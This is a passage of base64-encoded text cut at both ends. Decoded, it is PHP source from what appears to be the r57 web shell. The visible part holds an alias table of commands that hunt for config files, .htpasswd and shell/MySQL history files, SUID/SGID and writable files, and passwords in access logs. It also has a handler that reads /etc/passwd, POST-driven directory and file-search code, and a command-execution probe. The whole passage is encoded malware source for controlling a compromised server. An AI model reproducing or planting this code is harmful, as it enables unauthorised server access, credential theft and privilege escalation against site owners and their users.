2dpbiBvbiBmdHAgc2VydmVyJywNCid0cl9lcnI1Jz0+J0Vycm9yISBDYW5cJ3QgY2hhbmdlIGRpciBvbiBmdHAnLA0KJ3RyX2VycjYnPT4nRXJyb3IhIENhblwndCBzZW50IG1haWwnLA0KJ3RyX2VycjcnPT4nTWFpbCBzZW5kJywNCik7DQokYWxpYXNlcz1hcnJheSgNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tbG9jYXRlJz0+JycsDQonbG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgaHR0cGQuY29uZiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgdmhvc3RzLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBwcm9mdHBkLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIHBzeWJuYy5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIHBzeWJuYy5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBteS5jb25mIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIG15LmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIGFkbWluLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBhZG1pbi5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIGNmZy5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgY2ZnLnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgY29uZi5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgY29uZi5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgY29uZmlnLmRhdCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgY29uZmlnLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBjb25maWcuaW5jIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5pbmMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIGNvbmZpZy5pbmMucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5pbmMucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSAuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSAiLmNvbmYiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSAucHdkIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIucHdkIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgLnNxbCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSAiLnNxbCIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIC5odHBhc3N3ZCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSAiLmh0cGFzc3dkIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSAiLmJhc2hfaGlzdG9yeSIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIubXlzcWxfaGlzdG9yeSIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIGJhY2t1cCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBiYWNrdXAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIGR1bXAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgZHVtcCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgcHJpdiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBwcml2ID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS10YXInPT4nJywNCid0YXIgLWN6dmYgYWxsLnRneiAtVCAvdG1wL2dyZXAudHh0Jz0+J3RhciAtY3p2ZiBhbGwudGd6IC1UIC90bXAvZ3JlcC50eHQnLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xJz0+JycsDQonbG9jYXRlIGFjY2Vzc19sb2cgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgYWNjZXNzX2xvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgZXJyb3JfbG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGVycm9yX2xvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgYWNjZXNzLmxvZyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBhY2Nlc3MubG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBlcnJvci5sb2cgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgZXJyb3IubG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSAiLmxvZyIgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgIi5sb2ciID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yJz0+JycsDQonY2F0IC92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cgfCBncmVwIHBhc3MgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidjYXQgL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZyB8IGdyZXAgcGFzcyA+PiAvdG1wL2dyZXAudHh0JywNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tZmluZCc9PicnLA0KJ2ZpbmQgc3VpZCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgc2dpZCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTIgLWxzICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGRpciA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gIC10eXBlIGQgLXBlcm0gLTIgLWxzICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBpbiBjdXJyZW50IGRpciA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLiAtdHlwZSBkIC1wZXJtIC0yIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC1wZXJtIC0yIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAuIC1wZXJtIC0yIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBhbGwgLm15c3FsX2hpc3RvcnkgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeSAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGh0dHBkLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBodHRwZC5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgdmhvc3RzLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSB2aG9zdHMuY29uZiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIHByb2Z0cGQuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHByb2Z0cGQuY29uZiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGFkbWluLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGFkbWluLnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNvbmZpZyogZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiIgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY2ZnLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNmZy5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBjb25mLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmYucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY29uZmlnLmRhdCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5kYXQgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBjb25maWcucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNvbmZpZy5pbmMgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5kZWZhdWx0LnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kICouY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqLmNvbmYiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgKi5wd2QgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKi5wd2QiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgKi5zcWwgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKi5zcWwiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgKmJhY2t1cCogZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKmJhY2t1cCoiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgKmR1bXAqIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIipkdW1wKiIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nJywNCidmaW5kIC92YXIvIGFjY2Vzc19sb2cgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgYWNjZXNzX2xvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIC92YXIvIGVycm9yX2xvZyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBlcnJvcl9sb2cgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCAvdmFyLyBhY2Nlc3MubG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGFjY2Vzcy5sb2cgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCAvdmFyLyBlcnJvci5sb2cgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgZXJyb3IubG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgL3Zhci8gIioubG9nIiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSAiKi5sb2ciID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJw0KKTsNCiR0YWJsZV91cDEgID0gIjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyPjo6ICI7DQokdGFibGVfdXAyICA9ICIgOjo8L2Rpdj48L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkPiI7DQokdGFibGVfdXAzICA9ICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDA4MDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPiI7DQokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsNCiRhcnJvdyA9ICIgPGZvbnQgZmFjZT1XZWJkaW5ncyBjb2xvcj1ncmF5PjQ8L2ZvbnQ+IjsNCiRsYiA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bPC9mb250PiI7DQokcmIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+XTwvZm9udD4iOw0KJGZvbnQgPSAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+IjsNCiR0cyA9ICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7DQokdGUgPSAiPC90YWJsZT4iOw0KJGZzID0gIjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4iOw0KJGZlID0gIjwvZm9ybT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKSANCnsNCmlmKCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRjL3Bhc3N3ZCcpKSB7ZWNobyAiPGNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7fQ0KZWxzZSANCnsNCmVjaG8gJzxjZW50ZXI+JzsNCmZvcmVhY2goJHVzZXJzIGFzICR1c2VyKSB7ZWNobyAkdXNlci4iPGJyPiI7fQ0KZWNobyAnPC9jZW50ZXI+JzsNCn0NCmVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7ZGllKCk7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnZGlyJ10pKSB7aWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hkaXInKSl7QGNoZGlyKCRfUE9TVFsnZGlyJ10pO31lbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2Nocm9vdCcpKXtAY2hyb290KCRfUE9TVFsnZGlyJ10pO307fQ0KaWYgKGVtcHR5KCRfUE9TVFsnZGlyJ10pKXtpZihAZnVuY3Rpb25fZXhpc3RzKCdjaGRpcicpKXskZGlyID0gQGdldGN3ZCgpO307fWVsc2V7JGRpcj0kX1BPU1RbJ2RpciddO30NCiR1bml4ID0gMDsNCmlmKHN0cmxlbigkZGlyKT4xICYmJGRpclsxXT09IjoiKSAkdW5peD0wO2Vsc2UgJHVuaXg9MTsNCmlmKGVtcHR5KCRkaXIpKQ0Kew0KJG9zID0gZ2V0ZW52KCdPUycpOw0KaWYoZW1wdHkoJG9zKSl7JG9zID0gQHBocF91bmFtZSgpO30NCmlmKGVtcHR5KCRvcykpeyRvcyA9Ii0iOyR1bml4PTE7fQ0KZWxzZQ0Kew0KaWYoQGVyZWdpKCJed2luIiwkb3MpKSB7JHVuaXggPSAwO30NCmVsc2UgeyR1bml4ID0gMTt9DQp9DQp9DQppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiFlbXB0eSgkX1BPU1RbJ3NfdGV4dCddKSAmJiFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikNCnsNCmVjaG8gJGhlYWQ7DQppZighZW1wdHkoJF9QT1NUWydzX21hc2snXSkgJiYhZW1wdHkoJF9QT1NUWydtJ10pKSB7JHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTt9DQplbHNlIHskc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTt9DQokc3ItPlNlYXJjaFRleHQoMCwwKTsNCiRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7DQokZm91bmQgPSAkc3ItPkdldE1hdGNoZXNDb3VudCgpOw0KJHRpdGxlcyA9ICRzci0+R2V0VGl0bGVzKCk7DQokciA9ICIiOw0KaWYoJGZvdW5kID4wKQ0Kew0KJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7DQpmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQ0Kew0KJHIgLj0gIjxUUj4iOw0KJHIgLj0gIjxURCBjb2xzcGFuPTI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii53cygzKTsNCiRyIC49ICghJHVuaXgpP3N0cl9yZXBsYWNlKCIvIiwiXFwiLCRmaWxlKSA6ICRmaWxlOw0KJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsNCiRyIC49ICI8L1RSPiI7DQpmb3JlYWNoKCR2IGFzICRhPT4kYikNCnsNCiRyIC49ICI8VFI+IjsNCiRyIC49ICI8VEQgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGEuIjwvZm9udD48L0I+PC9URD4iOw0KJHIgLj0gIjxURD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOw0KJHIgLj0gIjwvVFI+XG4iOw0KfQ0KfQ0KJHIgLj0gIjwvVEFCTEU+IjsNCmVjaG8gJHI7DQp9DQplbHNlDQp7DQplY2hvICI8UCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXS4iPC9CPjwvZm9udD48L1A+IjsNCn0NCmVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQpkaWUoKTsNCn0NCmlmKCEkc2FmZV9tb2RlICYmc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MykgeyRzYWZlX21vZGUgPSAxO30NCiRTRVJWRVJfU09GVFdB